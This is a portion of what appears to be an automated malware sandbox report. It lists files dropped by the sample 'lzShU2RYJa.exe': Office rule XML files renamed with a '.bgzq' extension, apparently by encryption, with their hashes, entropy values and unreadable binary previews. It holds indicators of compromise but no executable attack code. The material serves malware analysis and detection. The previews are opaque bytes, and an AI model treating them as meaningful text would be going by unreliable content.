Preview:	<?xml..]...-....K....c-U..._:...iL.R....P...@.....}..}....e.f.d.x.].....Fii~43k.~.M .... S...f.K....dF....^f...c.\|..}..uq.c3..C..Q.EI...y....N.X<.>U..."........G..[....ixLO_...E..S.....Y...T.i......)...U=.x.2..3......p...h....!....2......E.v....@.L2W.Go...m......p}FL..@.~.?/.....(y.Qa(..2...Z7?....k/NCF....~..@.....[..R.K..#.oN....ZD.s..d.3F.N..k.F......[V.....,2w.o.iH..}'}...h.{.Z.6...}Sq.R.....e2J..g5U.{.2,........a....p..K^.{W..yT....I..}.LuW.4....;!..1..j.C...a.C.. [\K..t.F...T.....G4........)..R.Q.Um.A.%W....R.V....{.Mk...R.p...&}H....6..A...zH.0.\|.<t..gW......A..-.Ou.m.E.ZO.e..C.H.X..z...eD.m.f6...#....W@...A5m.03.x..v.2..d....b.a.~5....v...N_....A.g\.......!Pjb.4A..2..\.B1.....Do.).$.qd..Y...1...PjL.j......Y8,Z...ts..[.3.0_....bb.$.k.....>%N4......3...!...T...dW..bs..}....Y._..5,....O@..IB.;....4.D...H...5.AL.^H...&[......L.2.~.?T.m._.../&ok.\...-U`......3.%...u*......V.R...b..p.6gq.H?..%.y.XF'..U=.-dE.i..H..x..<..{.\..'I.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.762000762783734
Encrypted:	false
SSDEEP:	12:77LSK46PPxmFFfcypJmesZ4YDSdGAZSaLtJZv1G/FAMmTvRlry8nEnZs1YjVciik:zW+PxqZJmPM7579RMmTvRAOE2QVbD
MD5:	70CEAF99299AEF016F3B226DAAB828FA
SHA1:	9ED149BD6F8E6CE1B9A476E8187BE917DAB6701E
SHA-256:	3AE15598F3B083555DA9CCD59EAD636E192205336D42C35CBC060FD54149F28C
SHA-512:	C07DED2B7A057F0211EF1A64015CD61D9305A75FC62A2B84B701ED9C3D154785B8583667C67ECCEE05C93E85AC9A8A2F7125F42BADA94274514D2D55E537AB97
Malicious:	false
Preview:	<?xml..S..Qz.Q3H..y.p%).0....3..tQ...E....Y..K...q.KGZ...l.....F.r...u;2.>..oW...j..SG.\|.....Y..i.r..e..-....3(....[.D..:.{.s..D..<.......R,.o..2.......&.....].j.@....+U.:'..-.y}<.p.1.5.....nA.gd$.)..(x'O.v.uk(.b......Oy....,[>..7-..I3..?.e.?0.........J.El......V..{6.`2.oQ.N...B.L+..UWRd.e.Vl.........dnU:..-..0.tM.B.....M.......P^>..q.aWl.{Pd..d%^......%....\......i'A..2....&...@..\&EI..!x_..S_"u.m..Z..4/.v)....1...^.{..f...tU.sp..C......\|S..V...S...DD..>.....C...Fl..v1#.#2..})l..np..NW.Iwp.bv.......HI...^..Q.(.<P..Xx....b.w.).W2.NB....H....;<.V.FN.]..}.c{b..5OsM.E.E..@......".imn1xmw......o.#fe..?.-z_.q...i-&...W..W...b..Rh..&..L...y.WR...~.Z.z4=!.r<.[..#\|..P.#(.,.s.P..58..v..B.f...$.zwE'..J.@:J.d.....?..-......%<!.M..%.\^...f....1)..q..nj.....!.<../....+32(.......u.w.....xY..J.EM...2.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.751289056279164
Encrypted:	false
SSDEEP:	24:0NQTlpSK75/KRU2pK0ps40AXkaYKNhgkVaWVbD:TTS0Apd0AUFKNhgkVaWFD
MD5:	09CB4403AA1FE983D6B86D23BFE2DB0E
SHA1:	45F9B781A28270AE4D56667DAB702CB099F50A08
SHA-256:	80C129CF26766AAB43FBCF25C67ED09E0AFD7080BCED02AABDA9F235E1E55AF0
SHA-512:	E60D53E60CC9535FF565E1BA3FE3BB0725182E72A1433A21503033A0647F92D714EAA99F1CA75EB07A6F834D4C75A23ED9F6FE8F077D534448E002CA68C7E04F
Malicious:	false
Preview:	<?xml2.<;.mk=..5".o...,.^.0....O.A#.. ..-...$.(....G....V..p.7..Xb\|...&M..F....Fgu....K.w..v....p.!P!...xM^....D......~t.b3...j(..]JR.....U\|.,...R..48.}.........C.....@G..<..3.3s.....f.s....R@.0...v<.rs..u.'...:......N..2&.K..l....V....;6...L\OG$.O}.D^.o/..M......A.qW...Qs........:.2.F.'j...\|...3.j..].0.1N..1.<r.....C.-D.z#_.7u..o&.h.,...c\|aqq><...\X.&#q!.ME.-rj.W..M..>er.(Xh..].$..nk.)wB......t..~..\|.:.2.GU.c..zi<7#.P9...k..p.....s..K.Q.....T.x....`.J.6`l....\Y.y.Y).Y...D.l..g].V..?#H.4...f...D*C_.........0...d.`H].........W..)..x#.9X.^Q2../...o.V.!.G".+..%.bf..Kl.'L..=?,b....z,y...hi`@.. ,q.....'.S.6....v..0...oR..;.;G.n..c..7..--..n..l....`...(...e0..x\|...O..90..1...b..?t..x.IAp.]..V..ud...a..Z".>.]B%Sc.V..&.?[g..%W.3..S..R...c!S.-+%s.&.........(....A.....&.!..?itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.764092200387779
Encrypted:	false
SSDEEP:	24:HakhmQhnLfasTufZEUriIb8m2DnAhFtKRXyfhVbD:zhosTwEBg81nAwyJFD
MD5:	97C21012D1BAF4596A0C148805FD67CF
SHA1:	A4F938F8538CA7B0879D7AA3C9DEFF003F1FF14C
SHA-256:	4686611032CE1352FF2AC836480F10E2E46AE4E6394DBB9A6D4B9B58E8F18259
SHA-512:	1D6E8F44DE5DB857077D1E4FA88E4C5E265DC4A19BDF46860E0260484DB97DA4838A775C9115C84E51EBE2C99F747FC2DBCD31850CB629D71720EEB1C3711287
Malicious:	false
Preview:	<?xml.\<6o...Ec...z.m..i&w...:../..Q..e.+!{..Vy[-.i..<..6...a.P&..;?[).9...S...H...BE._B.k fv..........c.5...\-.....v#vv...._.f....F8.U. ~....D.2+..].nX.o. .Su.9!...?:&..@.RT......:.A.7.Q..)......`.o.p....o...%.m.i..".v.....)./....Fu<;.W1.........%....#.5<..4q.w9(N.&..[Z....!.Ec.Z..j<..{..j..`..H.....U.lS.l.%0,.x.....y4..2./.m..O..t.D.@1..e..C....JQ..r..>On$N0!......S@+...1..-2@.h...1.}DRr..+.......8........`.d\|.I.N... ..f..3t..f..`...e.y.LF.[..}.qm.,k...&..}."..2V.3..}SyxP......s...L..}...ID.#.h"..)......"M.'..!..\|_....f..-:...s.F_.8=.m.U3fw.)....s...'z.,D$.......s.].(..O.&..;.inV9Z....]o.n......l.n...'.F;.w....d.s.u...^.0.Dm..K,.c.2.D..<.........8W...p5..`...&.>.~..=..?.C........4..d....1.`I.U0....s..M.:%..P...+#.Q...+...t/..L1Ec.....oO.......~.6...z.5.@...*.T._Q......E.J..rB.{Q...;...=[.(..?h.......3.`..G...',....@....Lef.c._..r)1.%....r..SZ7-{itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.652461618778048
Encrypted:	false
SSDEEP:	12:RJJlgitkuRT/JrmJvUFICkM7Nekc71RUjv0b/1MC+CGRzLYPfU+nxPR/hOjVciik:RJjFx7JmCF3kghcIjsb3uR3E8/VbD
MD5:	46DF2C65943123344B43A05DC6A7CC35
SHA1:	7BC199254083612C0AC351CE7AA258A660F9B781
SHA-256:	8719B8498FE3C5FF5B78CB30B6E71535CF0C648BFB928A0EB41668C65DA2613D
SHA-512:	40DA6ADB8ADE6FB38A4721ABFBE8C60566B610DC4B855489FDEF00891E2E840186FFD9C9703394F49FA5508E647C9705423DF5F5AB79590592085638DA015EFC
Malicious:	false
Preview:	<?xml.4$..9..H...x..w..;...g`....Zh+.N.cl....Oj.lC.m~...Q...Z.../^).Mb.:.....f....a.k...k.c.1...i.b.e.t..m..I...'....[.=.....`.X.D..6.v....6..'0.Pt...lz.n.D.u.w<..x......d..."...N.)._a..CJ._.[l..'.~d.U&i..O.t.R...<.{..._Q.!....{Cx....... ./.b_}.i_/....V;.cM.....@jA......j.:..=_.:.t.z.1S...r:6BN....lg[.C.k._.....v.#(.$iD........<...r~\|.'..c..'Gi........\.H.E'.2..V......y.T..<'.$..s..Px.;..^..4....Ov.D....7V.@E.....6..,..<..gfg..r`...d....y.6.........v".).S....O....qW..@....p..i..<..oU.D.<_............=#..2...[..-...X....9.....<.j..S..`......e.Tw....J..%...(..Q6'.....z{....".Z.%I.)...j55..8Z...+;tU._Q.J.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.814700054562258
Encrypted:	false
SSDEEP:	24:nzkMh5nJXKcyUT+kpwIz9WDwjn7npsIzVMVbD:w4XFT+wzQsz7ppz6FD
MD5:	CD5EB7E2195E98D682E2A1BA373E5EB8
SHA1:	6B2472D2F8290B77C62DDB41792F08ECC7BB278C
SHA-256:	1B378EDAE939294133446EAAF5C68935FB3611944BD90DBB3061A143B69BF13B
SHA-512:	977169165A1DAD35FB84DE4C196FAB2E262776F09F6729DDA98E19509ABFAF47ECFC342A0F37F34DB5AA9620338372E2A0A0FDAC46FC3B1988139045BDCC0F6C
Malicious:	false
Preview:	<?xml.zRJu%~8...}....N...IK.~.5.1IZ,...}.,x.R........P;P...4.e._.n.s2H.rg.0.f ..i..A^\.J...8Y..V-..A.....O..\|..".....\|B... ..w..............s%e.}..A..;x........+..z.{..~......a..0......\.....L!.R..jz.>.......6}..Z...wn......-...0D.7.P.....b%....L.(`q8..F..WnU........+.9.1...x=.2.0.{G.i,.".....Vp.^.#.....fZk.2KlP ..Z..S.=.7.G..t.v..^.}...b!/;g.5\|O)h.....h....j..,.#..-#F....!..b..S....#F...'n.{....W.,....^_....gf.)v;......)..>.f.,V...E..Xd..^v.........v.'...2LJ.hKy.v....G/!B.A..T..&)....^.....6..n...c...P1...(o.....;..._...G[.V.Q...7.p.B.......A>K6@.G.d..9.$!>.=..h.`\..M1$....Y..Y.]..1..C...T....C....Ce.k8.....3.o.f..1T.........+.l...."W...BW[.k.D..f.p..K..=~)I.7fM...Q.0EWH..{&.......<&..y?b.$.Fo..{..l.....G.............s.k.Q+&.H..UP.za..\|...H9...i.$..Y.q...W.....?.....C...Z.3%63_.\|..Q.n...x5....D2..\-...R.Q.MJ..K......k.sU...i..`wu./..w.1=..X'b.`.7%+...f.=D..$......%M.yV.p.m.g:.0.f.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170035v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1143
Entropy (8bit):	7.828498395342548
Encrypted:	false
SSDEEP:	24:3pp6Cj30X8y7ZR9fl9cd8cPbApRATFLotiya4t8RVbD:uCjEsy7ZR9flnpoLog88RFD
MD5:	E5CA987E8488D125414F03F1878EAC4B
SHA1:	FF86D8AD7D21D837234CB40EF71668FC94D1C8A5
SHA-256:	D0C70435D4F2E70CC38AB803A9DC57389EC52D04D262E2D7D0E5E640F38DEFAB
SHA-512:	22B63BFDF8E05844832795563A2736E3B2BCB9387C967CBE301621E7241EDC5C4349072B93171B41FE3FEBD814DE172B25E8C3BD0F588E75A512044EFC6DB437
Malicious:	false
Preview:	<?xmlv..`d..I.enb.......9....r.....T.TI..qW.YXT.._bM~l..k.m.-gB.`."K.kdZM..8.V'>.Hdj....W..^:....C!;C...../U=.4....{..!2..........c.].M.oK...'E2.g...C..mDL.&<n5.2y...989.R..i..&.4.t..Q...9.L..h ..)...AO.1.xs<....B......K..V...E..._.u.(.t+......<$o.s.....~....r....R.x6...0.S...H...M.=....-........,/...7.&..~..V..?......g...Pd.8..zd.....%I._.......^...G....4...H...\|.o.1m.9.....g.<..m,...W..@I.....,.d..}.Y.t.\|.W.Zr@LV..-N.\+Yu....r.%.js...E..H.]......r...4......%....p.t.T.@../.d^.........h[.v.t].`DX.....&..;......O_...[.<ar...t....H...a.(...=..{~.....`....!..=......T.g.r.73].y...<...K0..rF.8}.....T...Y.....{<p.^d..}......r:...a...{&.$.%..s......#...U3.C.f:;.K$......k.......8..D\|m..5i( d1.tJ.2..A..sw..u.?.4.w....^...%&..L....ys.w..@.&......Nl..S..iA.]c'/V).-@....&2(...x..e......_..$...C...Z.\|...r.!./.m.f.......T.?.45.X...S.P.{R.z..A.k,..f.b..O..5......u..9..?Q..F..!B._W.c.$._Z..v/...pDR..3o..?8p.....Cm.,..P..(f.!z...f9..yI.V...J.<...;../

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170037v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1503
Entropy (8bit):	7.859698415017057
Encrypted:	false
SSDEEP:	24:4TFVAQMZOJ9qn/E1agS5hVv15/xzyU2bACIfGqIXZFDBw5/1Rx3b2IAoIX2ajhIm:fk9SjgS5hdxzd2bqIpFuz1b2IAoImace
MD5:	2330767ACE3F9C7EE39DB2D1C5425F95
SHA1:	15DDD35FD8E9856066F1351A92EC1D10B4BAD1CC
SHA-256:	F676D0B9DEB216CDFD2C5AA20122C374EC0F1867D5BBF50ECD04B52F98140025
SHA-512:	037A910906922C147B123F401A51401657DDED72493929D8CC9CABAAF3B719C264F7B11C9813AEDCF06904F101C1F6A4B0DEE3F91BF879CC0721BAB4CD38ACD3
Malicious:	false
Preview:	<?xml.6...n.>x.F....CBv0..Sf....l..........r.@....0x.3...t!.?I.4D.J......f.mKh..M...K9r..Vu..3..X.3s..t...x..,m...gN..zT@A...]...^I.@&.I.....v...X..D\|......A.CRwE;....f.r.u...+y........G.U.W..yS.e..-.7g..Z.-I9........!.i.6......Lp..t+...........o......x9.7...l...=g..p.._j.ue....E?[.r..9.T.y&.s.%2...........%.^...2..Q.Fv..L7.Ih...........M..<.../.v....6...x".4...$6.Az.[}..h....\|.."..{.pu...w5{P.......V,?.....RE.l.6..%..)V..RW....R..<......t&...z...{c.Tqi<.....\.H...k).Z.I..(.../5...EkO.l.......#C....(.~.....]..I.6@...oO.c..9.0-..n..y..F..V.....@a ...z...b......=.....p....?...P..q:{......!f.....5d.Z~.F;~U.k..lkA.3lV;...'....gX.............!?. ...@nh...`X._..q...O..)(e..o..c..k!U..LJ-.{.y{x.\.9f,`...g.(..........-...Q..l.ep....lI...(...E ...w..Fa5.]..0g..SN.. _...Q.....t.1K..C[....~.(...M......K8P~.......'u2....Q...X.....D.g.O......T1.i.../.)...I.@b/.:.1.o..^.U.O.......K.....E...a.h..........IR2...~r.q"...,...N....+}.k......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170038v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1036
Entropy (8bit):	7.799844682002847
Encrypted:	false
SSDEEP:	24:5xiULVIhrTgxwFrGa+vSxWLrgjjbc1NmO1gv8bUCck7VbD:WxEwhJESxVDKlgv8dDFD
MD5:	D9C0B7C9ABAEE8A0248CF36F2E048917
SHA1:	CE34E4116423293C44CFD75AB89E3DF631869A2C
SHA-256:	1149437E5151D5844E5EBEAB053A38B0A88A1E779EAB89496C4950DEBA8BC249
SHA-512:	DA5D93447C0D4BEBEB8AFF8147D3028B5907287CBD1DA9EB61B16E86817A82E5858A513E0E894C8B8A2B95EAAB17DB01970F0DD63F285DF852637D12AD08EDE7
Malicious:	false
Preview:	<?xml.Sn..}:C.......{:.M...$..SX.5...9....s....W...7+/.#(.g.n..,..P.ca.:.......u..VZt:~.'..5..T.Qj.0...GK...,.x...W.P..N.f.T..S.....dM6....E....L.6T.. h).%....{...Z..t.....V....r$...j..;...F.#.....U..-x3.X.`...6.<.U.8'L....c....(S0.p...HiS...HFC........;..<}.D...%.0..`....N.8qM.%..3.....@2u.......j.j.2...UH&......TK3d..I...w.gn=g7...1.K..,.....4.....?gYI.<.8vE.q]...V#Q...3.7..6"...u.......8..o....i."vx.S8..5..GnO..]Y..Ux).......X@..4..^......).^..c..lK$....KD.[J..?}....3/Wnp.ka...r..6...i:.t...#D...n........,.U......B...r/.:...v...<.Q.";..x(@'..Y..s.m(=s.N7..u......s....<...@9...R.a.\|.....L..4.l....N.E.39........_J.c/..(T.X,?.(...A...L.G...z.Qi.PH.w...f..{oJo..B.eg...6....;.HC......i....;W.7...0T...c.<....=."..G.%go...;g.y`....z!......'....x.Xq.Y.Yp.....1K'.K.@&...S.=...=km..zH..S..}C._{...v..;^...Aj..)DW....Z.6..2..+..D....(..&R........h...}... R..O..+6,mz..6.-..=..2...s.S..^2H.E[itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{3

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170039v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.785281713289058
Encrypted:	false
SSDEEP:	24:CGnOnSsU/nF8sbcN9XWVR9LunB1Chqn7+7VbD:4Sfesmm79SnXv7wFD
MD5:	5AFDCCC0394D247179F6A97DC3169B6D
SHA1:	D05C922815782A30A8AB8EC615703C8C90424583
SHA-256:	57BEDF61FE0680A2C3594C4BBF4207D528D388806BFFE2BCD53435A8017877FA
SHA-512:	C84694996818F3F0C807A6120AC5A4942D2549C4844CD8AECCE1E911E5E67F4E11EE187BD6466ABB58F57320EC6837C37761223741795234AA5B6CF249D94919
Malicious:	false
Preview:	<?xml.......LT..GR.kl..i9.J.`...p.0......h1.)..T^.b$s..t...._....".S.4!....k..1p.v+..H.kl.".Dpa.2i.....8L.t.3...P$.s.xu..j.....b...o.....z.>.a.SE.^U....kx.g.i..s.DX.Ar=.Su..Q..G..T.@.uqY.j.e....?..g$...$.....E....0`P.F(.@....Ed#\|.Z..rQd.9.(...0...Q.....\|......u.f..[.NR..G.F#.e.G.../......%.)....... ......Y".8.Uri.U..g.X.S.. .I._...".....^..b.P.q ......h.0.S..7.7.T...H.Nu..5W.?....7:aK.Vt...}..e..,...b4.'..:..j.J...m.X{z.8?."\|.8.r:$..CA#.Bhd.d.....\.........{0..P%.c..c........XEm...!Z.T....s.a.a..^.J.#...L....U.tB..g.i..+..5..R..\.....B..D[...y....7.F.B.%-v...s..g.K.......j`....Lm.,R.5.....1.&..w....G.6f..gk......-GJX..(...z.1..1..s\|x....h@........g.:2.>..%.k.N.YV5~........[].....i:D...~.\|A.\|.....Sa...\|.T..............j....f+...Ox.c8............K.o. .......`V.X.:s.E.1t....#..(....rg..=...fd.&t....v.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170040v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.677918416747505
Encrypted:	false
SSDEEP:	12:Px6F6HIoboimheywE/2OUbR1Iv9jKnfi8TBa4TXjXvpPECYRcjzujVcii9a:PU8oiWJFUbRQQKWRTXjpPECKSoVbD
MD5:	57F47311D71764907BD54459F29EDE91
SHA1:	8BD9A91B5542FE5E460376403E9DD8B0EE85EF6A
SHA-256:	8F3BE67DD8512032DDAF26A037DA7666D8809DC2022D171585D521E81D55E988
SHA-512:	F0458A42F279579971E1DF4D582E5C832B5727BCC11E8F9A56424BB1A8B73B7D0DCC0A3E097785D3CE80FAEB10854010CDF726F25D566CE8F7B2B15A062B75E7
Malicious:	false
Preview:	<?xml'.p...8P..#[\|..u..o..';....R..JDn..Y.H.x)A..........ZN85..&.._.."'......,..E..2!......@........dO.XkT...`W...8bE.8....0fB....Yf...E...-]Q.L...V..R.\...I....g.~...& T.^....[.al&Q5.....Q...lA....K....xG+.E...;u2....(r.D.....3/P.d...FY.@.E`../.2wv.....3..i.S....>Q..l..1..v.;....M....0..y..{\o..~ZL.t..(<...>...-+.S88.2..MY.P....-W.B...].....%.~y..\|..-.=q..Q.@....L~.4cKm~Nm?..R...E .V..U.......}.....E.. [..X[...}...j.G.f.../.6........J..E.P.\|.a.n./_..Eu..24..i..7BA..-X...{,..!.GT..:2..]..6r.....IJ.....Z...D.7..rh....hC.2.O..o..k..Tz.6cS...Rg.p.6A.......NjF.(.P\|...LD.m..}.Y.maC....q......\.v..KFitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.6290037271302955
Encrypted:	false
SSDEEP:	3072:ifW9+2SMOAiRx2w6oOMVZKZfG0GKqyr3cmpsrUiUxcX:yW9+2SMOA3oOJZfG0eUFm
MD5:	26AC4BA0B154651BFE46038A1258676B
SHA1:	333C9AC4EBFB6140D76F0EDBB70990EE5F556FC3
SHA-256:	843D84756EAA266B8104A540DAE9FE9B3CA0E810AEED4E7A783DDF80C1C75BCD
SHA-512:	D89DE342543E512BB226C23AF4DDAD972D2D9CA5E254F024CC53718D038AAEF2B63D5B0592E1D8B54410C41BF2471719A5E72FB66592AFDE46D3B92701B759F8
Malicious:	false
Preview:	<Rule.......Z.ES.J[U..u.ic...N,..X...$[5...Uzx..T.n..U..:(...[.2.4..z[.{..9o...A. .XBF.#S%...n9..1...3^{i}[....uE....O....d.a.a.J.ng..^5(......../pEM.}G.L..2.E..Q.~...-...d.....k..1,.S]@.....[.pQ.2r..<x.-..~r.\|:.K....A..c.uB.7PwIEBDEDB[..e$}=...L.8....HA.9....s...2....S...../.H....{.W....2....:...........M}.JJb....)t..6.1..,.u.q..1.;...\.....K...sX5.7..vf..zf.CPg..9Vb..$..S....w.E..l..FJ..Th{..V.a.v9.........#.#..s.'..m........:..1.ba?...H!.[...zBA.NT`.zZeG...A.D.It E..G.Xs\|..:.0S.3;a..Z...P..R.a..X~.R3.......p.."6.}.....dkK'$.6..+^....jZ:.D.3:....gT..._s4k..P8#..m.;B.-..R.{5..w......M.-.i.;...v..b.#..4 .U.C....~"..)5..D.X......jb. .<...po..v8..yv&...+...8j.h...5....H;../....!.<..y...n.:........v.H...Z.....0. .$.6..u...\..`1x..t..E...e....j ..h......Z.a.g./g.5&..k...j'..l}'..[.o.p....}.w..*..@>....Z x`.@..:.`...e.8...._.A.NR........It..Bu.`]u>......Hrbm.!..i...\|.$..U.YJ...M.X...he0Qr...".`\|.>.i...Q`C..f{>s.8..g...1^.3.w....27.."..L..Z}VrWu..xyE..

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513135527459495
Encrypted:	false
SSDEEP:	3072:BbWVv66GJUcxBJ5nAjdvk0yMGp6eWQmMuQ2QgBdTtCqeWUyNjVS28:BaC5JNLAxVg6e3ZAz3TBNS
MD5:	AD40741E32781A06E82E1A726CD62D93
SHA1:	4F1D4CF525C40E2D43D9F95505E615089E9C1698
SHA-256:	39F2D33287320CAB5D606080A40C174C46852E15B312D977C73EDD337EC73A3B
SHA-512:	2A22EDDE6C3FDF1F05FCE2AB4FC44490AD8E1516054309020DADB4F97FEA3230F076BE37DF039B494A910A2A2C777ACD5B4D42A58EF46174AD5BA3EEDA263173
Malicious:	false
Preview:	<Rule .@...].\..x@I.s....P.,.....n.c..-.C.wp]t\|..nq...o........K...w..#....?J..%......>......fJ.Ss..N...#.x.{.T.k.VM.yg._iE.w..=:.z`.,..l.....h.7..oW.2W.c$4..18.<a.d5._.....\8...r....[.....ZRX.i..U.G..u.o...a..D..M......s.#...zb.Zb.{.f...;..ERD.X.~&....=:..T.o.r.jA.~.0....m_D._....z..4..." ....d1..l".u3t.O)....1d......K.....:..W5t..(..&v..N....G.U&..8...d...o.UNa..h. .L. e`...0f.9:...4V]sN...I.8=.m.9'.~./..] .._..``_H......V.1.b.R.....OU[QX...Ws.j..1.v..u..q0[3=....bDT....K..~z..J..Q8.G...5p.".....5.}. +.6.r....D..X...]..5...?.NO..2.-....~.......o..y.....d.C..e..-.t.....a(...U6.... ..Fx.....~T.5..%.P..U'....q!....'4.-1.Y/z^.+\|.-...O.SG#...c..0....2.)..%W...0+......B.gg..I.V....q:8.:........j..m...4:..[..c...zi.g.q;............j;8.6I......K.}.^......J..a.(8X.=.....RF.<I....Q...-3td...oH...U.Mc..../W....'G.k.sD8b.[.*Q.SN...1d.W...y......l]P`.}M.7.....@...0w,.qXE+.Q6...p._....P2.p..Q_l.=3...Az@....\@DC1.a.fe......-.T.N._4..z.m...6.<..!..!

C:\Users\user\Local Settings\Microsoft\Office\16.0\officesetup.exe_Rules.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.514038655622195
Encrypted:	false
SSDEEP:	3072:Lp4z22aKLGxxhOrSlEHoezuNdJFXZWXYiiA555JO1G2uGLX:14zozzhOrSeqxX4I0K1uKX
MD5:	92A190520B049F9197E4ED21698603B1
SHA1:	1B33C4920395A68617836626F25ABCF690769143
SHA-256:	4F3F06C3DC791CC93C2EA18343CC07FD3D27EDBEC1339591DC9B356680CF08EC
SHA-512:	CFC2389827395F239E88D2FAE671B5D5F9021D19E2E51C6B77C65D6323C6AC2805E698EF7FAD1FA9CF2BA2367B8ADC06BA5420340CA074D5C19BDB30BDB7C091
Malicious:	false
Preview:	<Rule..S...u...rT.0k.....).....i7.5.q.U..&..:..N.H.m.-...O.H4..=+..=BRU...5.....n.\.(R..0.e=}.4x.N.5..{..l.....W.7..W,.......$wr[..b..&.J.(/.......J.......a.(.U...X..~.l..5^L..'.}...-.`^...Gk.Y.{.v..6..#....;=.0{X..}-(...d.&.#.s.e..)t..m<...i.'...S..Q...0\|0..m.....&.\....9E@.\........./.....o...~...b.........=..'..}..s...^....j\|......K.).."..q..B.?..L.._.]_.C.2-....9,.8.e+..R.sYc.9..\....V...y.JXP..D.............p.d.....bbM....aK..V...T/....1%8..b..,.Vz.O....L....?....N"....)]e...`..j./D..jv..N..Z.#...C.[.....q=...j......<..... .?......g.Gs.u...$KP...e+{tW.K....P....8.Z4.....Z..nq..-O3..Km.'...d<6....9Y..:./.2...9.$U..R.\|U[..%X-................cG.=d.. .p.Q.."f2.;0#D!..q>..tZ@F...!.;.....[....[X...r...g..zQ.......]...._.2....w..-G.....x~Y.4..._....W.d..M..f....].E.+......]`.B'%....@..........b.b.9+]...h.Z.l...u.[...P.......:...kC.......$.l....91..!...b.^`g`..!.fc.n,.K..D!..V3R9=0PU.M.Y.~.]...dJs.\6.^....U...j .hAO..wdx.].d:r..p=q.

C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.9986282015466434
Encrypted:	true
SSDEEP:	3072:nxad7O9QHUBqRZ6x3myyOiAbRuk73qFlpuFTl:xueQ76x3mWPRu9FlUf
MD5:	27D918DF617E14DAE03ABEB88F73B953
SHA1:	79D0117C82EDD166AF9E4897C483B32A945C3C01
SHA-256:	6529738AFCBC62A3FF0BEA234AA52CAB411173F2CAA0884A678CDC27304C79F8
SHA-512:	9F2593752345E44DC710EAAF15663E1E8A09340ACD34C32BC75A6C35D5003F1011D81421F8BDEAE17C893589E1F49A197E167E0EDB76BD6A4371771A2EBA1732
Malicious:	true
